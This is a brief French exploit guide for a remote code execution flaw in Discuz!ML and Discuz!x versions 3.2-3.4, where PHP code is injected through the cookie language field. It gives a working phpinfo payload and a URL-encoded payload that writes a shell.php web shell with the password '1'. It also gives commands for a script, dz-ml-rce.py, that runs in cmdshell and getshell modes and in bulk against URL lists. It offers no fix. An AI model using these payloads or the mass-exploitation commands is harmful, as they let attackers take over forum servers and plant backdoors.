
Systèmes et versions concernés : Discuz!ML V3.2-3.4 Discuz!x V3.2-3.4
Systèmes et versions concernés : Discuz!ML V3.2-3.4 Discuz!x V3.2-3.4 Cause de la vulnérabilité : le système Discuz!ML ne filtre pas le contenu du paramètre language reçu via le cookie l, ce qui entraîne une concaténation de chaînes et permet d'exécuter du code PHP.
Un champ xxxx_xxxx_language apparaît dans le cookie ; la cause fondamentale est que ce champ est sujet à une injection, ce qui conduit à une RCE.
Interceptez le trafic, trouvez la valeur de language dans le cookie et remplacez-la par :
xxxx_xxxx_language=sc'.phpinfo().'
getshell
%27.%2Bfile_put_contents%28%27shell.php%27%2Curldecode%28%27%253C%253Fphp%2520eval%2528%2524_POST%255B%25221%2522%255D%2529%253B%253F%253E%27%29%29.%27 En réalité :
'.+file_put_contents('shell.php',urldecode('')).'
Un fichier shell.php sera alors généré dans le chemin, avec le mot de passe de connexion défini sur 1.
============================================================================================================================================================== Vérifier si la vulnérabilité existe
python dz-ml-rce.py -u "http://www.xxx.cn/forum.php"
Mode cmdshell
python dz-ml-rce.py -u "http://www.xxx.cn/forum.php" --cmdshell
Mode getshell
python dz-ml-rce.py -u "http://www.xxx.cn/forum.php" --getshell
Détection en masse
python dz-ml-rce.py -f urls.txt
getshell en masse
python dz-ml-rce.py -f urls.txt --getshell